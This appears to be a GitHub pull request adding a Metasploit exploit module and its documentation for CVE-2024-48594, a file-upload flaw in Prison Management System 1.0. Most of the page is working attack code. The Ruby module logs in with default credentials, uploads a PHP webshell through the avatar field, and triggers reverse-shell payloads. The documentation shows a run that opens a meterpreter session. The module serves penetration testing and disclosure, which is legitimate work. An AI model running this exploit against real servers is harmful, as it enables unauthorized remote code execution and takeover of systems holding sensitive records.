-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Prison Management System 1.0 auth RCE (CVE-2024-48594) #20811
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
2448429
be9b2c9
b35d74b
236d94e
a676b05
2ef1b9f
2030d19
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,91 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| Prison Management System 1.0 is a PHP application that allows administrators to manage prison records. | ||
| The application contains an unrestricted file upload vulnerability (CVE-2024-48594) in the avatar | ||
| upload functionality of the add-admin.php endpoint. The application fails to properly validate the | ||
| uploaded file type, allowing an authenticated attacker to upload a PHP file and achieve remote code | ||
| execution. | ||
|
|
||
| The vulnerable application can be downloaded from: | ||
| https://www.sourcecodester.com/sql/17287/prison-management-system.html | ||
|
|
||
| Installation requires a standard LAMP stack (Linux, Apache, MySQL, PHP). | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install Prison Management System 1.0 on a target system | ||
| 2. Start msfconsole | ||
| 3. Do: `use exploit/multi/http/prison_management_rce` | ||
| 4. Do: `set RHOSTS <target_ip>` | ||
| 5. Do: `set RPORT <target_port>` | ||
| 6. Do: `set SSL true` (if using HTTPS) | ||
| 7. Do: `set USERNAME <admin_username>` | ||
| 8. Do: `set PASSWORD <admin_password>` | ||
| 9. Do: `set LHOST <your_ip>` | ||
| 10. Do: `run` | ||
| 11. You should get a shell. | ||
|
|
||
| ## Options | ||
|
|
||
| ### USERNAME | ||
|
|
||
| The username to authenticate with. Default: `admin` | ||
|
|
||
| ### PASSWORD | ||
|
|
||
| The password to authenticate with. Default: `admin123` | ||
|
|
||
| The base path to Prison Management System. Default: `/` | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Prison Management System 1.0 on Ubuntu 20.04 with Apache | ||
|
|
||
| ``` | ||
| msf exploit(linux/http/prison_management_rce) > options | ||
|
|
||
| Module options (exploit/linux/http/prison_management_rce): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| PASSWORD admin123 yes Password for authentication | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http | ||
| RHOSTS 192.168.223.103 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
| RPORT 9443 yes The target port (TCP) | ||
| SSL true no Negotiate SSL/TLS for outgoing connections | ||
| TARGETURI / yes The base path to Prison Management System | ||
| USERNAME admin yes Username for authentication | ||
| VHOST no HTTP server virtual host | ||
|
|
||
|
|
||
| Payload options (php/meterpreter/reverse_tcp): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| LHOST 192.168.45.222 yes The listen address (an interface may be specified) | ||
| LPORT 9443 yes The listen port | ||
|
|
||
|
|
||
| Exploit target: | ||
|
|
||
| Id Name | ||
| -- ---- | ||
| 0 PHP | ||
|
|
||
| View the full module info with the info, or info -d command. | ||
|
|
||
| msf exploit(linux/http/prison_management_rce) > run | ||
| [*] Started reverse TCP handler on 192.168.45.222:9443 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [!] The service is running, but could not be validated. Prison Management System login page detected | ||
| [*] Attempting to authenticate as admin... | ||
| [+] Successfully authenticated! | ||
| [*] Uploading webshell as EXBCiWAs.php... | ||
| [+] Webshell uploaded to /uploadImage/Profile/EXBCiWAs.php | ||
| [*] Triggering payload execution... | ||
| [*] Sending stage (41224 bytes) to 192.168.223.103 | ||
| [+] Deleted EXBCiWAs.php | ||
| [*] Meterpreter session 2 opened (192.168.45.222:9443 -> 192.168.223.103:48250) at 2025-12-26 07:15:02 +0200 | ||
| meterpreter > getuid | ||
| Server username: www-data | ||
| ``` |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,192 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Exploit::FileDropper | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload', | ||
| 'Description' => %q{ | ||
| This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0. | ||
| An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload | ||
| functionality in the add-admin.php endpoint. The application fails to properly validate the | ||
| uploaded file type, allowing an attacker to upload a PHP webshell. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'Alexandru Ionut Raducu', | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2024-48594'], | ||
| ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html'] | ||
| ], | ||
| 'Platform' => ['php', 'unix', 'linux'], | ||
| 'Arch' => [ARCH_PHP, ARCH_CMD], | ||
| 'Targets' => [ | ||
| [ | ||
| 'PHP', | ||
| { | ||
| 'Platform' => 'php', | ||
| 'Arch' => ARCH_PHP, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, | ||
| 'Type' => :php | ||
| } | ||
| ], | ||
| [ | ||
| 'Unix Command', | ||
| { | ||
| 'Platform' => 'unix', | ||
| 'Arch' => ARCH_CMD, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, | ||
| 'Type' => :unix_cmd | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux Dropper', | ||
| { | ||
| 'Platform' => 'linux', | ||
| 'Arch' => [ARCH_X64, ARCH_X86], | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, | ||
| 'Type' => :linux_dropper | ||
| } | ||
| ] | ||
| ], | ||
| 'Privileged' => false, | ||
| 'DisclosureDate' => '2024-10-28', | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']), | ||
| OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), | ||
| OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123']) | ||
| ]) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php') | ||
| ) | ||
|
|
||
| return CheckCode::Unknown('Connection failed') unless res | ||
| return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200 | ||
|
|
||
| if res.body.include?('Prison Management System') || res.body.include?('txtusername') | ||
| return CheckCode::Detected('Prison Management System login page detected') | ||
| end | ||
|
|
||
| CheckCode::Safe('Target does not appear to be Prison Management System') | ||
| end | ||
|
|
||
| def login | ||
| print_status("Attempting to authenticate as #{datastore['USERNAME']}...") | ||
|
|
||
| # First GET request to obtain session cookie | ||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), | ||
| 'keep_cookies' => true | ||
| ) | ||
|
|
||
| fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res | ||
| fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 | ||
|
|
||
| vprint_status("Retrieved session cookie: #{res.get_cookies}") | ||
|
|
||
| # POST login credentials | ||
| res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), | ||
| 'keep_cookies' => true, | ||
| 'vars_post' => { | ||
| 'txtusername' => datastore['USERNAME'], | ||
| 'txtpassword' => datastore['PASSWORD'], | ||
| 'btnlogin' => '' | ||
| } | ||
| ) | ||
|
|
||
| fail_with(Failure::Unreachable, 'Connection failed during login') unless res | ||
|
|
||
| fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302 | ||
|
|
||
| print_good('Successfully authenticated!') | ||
| end | ||
|
|
||
| def upload_webshell | ||
| @webshell_name = Rex::Text.rand_text_alpha(8) + '.php' | ||
|
|
||
| case target['Type'] | ||
| when :php | ||
| php_payload = payload.encoded | ||
| when :unix_cmd | ||
| php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>" | ||
| when :linux_dropper | ||
| php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>" | ||
| end | ||
|
|
||
| # Generate random form data for the new admin user | ||
| random_username = Rex::Text.rand_text_alpha(8) | ||
| random_fullname = Rex::Text.rand_text_alpha(8) | ||
| random_password = Rex::Text.rand_text_alpha(8) | ||
| random_phone = Rex::Text.rand_text_numeric(10) | ||
|
|
||
| print_status("Uploading webshell as #{@webshell_name}...") | ||
|
|
||
| # Build multipart form data | ||
| form_data = Rex::MIME::Message.new | ||
| form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"') | ||
| form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"') | ||
| form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"') | ||
| form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"') | ||
| form_data.add_part('', nil, nil, 'form-data; name="btncreate"') | ||
| form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"") | ||
|
|
||
| res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'), | ||
| 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", | ||
| 'data' => form_data.to_s, | ||
| 'keep_cookies' => true | ||
| ) | ||
|
|
||
| fail_with(Failure::Unreachable, 'Connection failed during upload') unless res | ||
| fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully') | ||
|
|
||
| @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name) | ||
| register_file_for_cleanup(@webshell_name) | ||
|
|
||
| print_good("Webshell uploaded to #{@webshell_path}") | ||
| end | ||
|
|
||
| def execute_webshell | ||
| print_status('Triggering payload execution...') | ||
|
|
||
| send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => @webshell_path, | ||
| 'keep_cookies' => true | ||
| }, 5) | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Does the
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If my understanding is correct, when the uploaded .php file is requested, the response is going to "hang", but the command execution will be triggered, so we do not need the default 20 second timeout for a response that hangs. |
||
| end | ||
|
|
||
| def exploit | ||
| login | ||
| upload_webshell | ||
| execute_webshell | ||
| end | ||
| end | ||
Uh oh!
There was an error while loading. Please reload this page.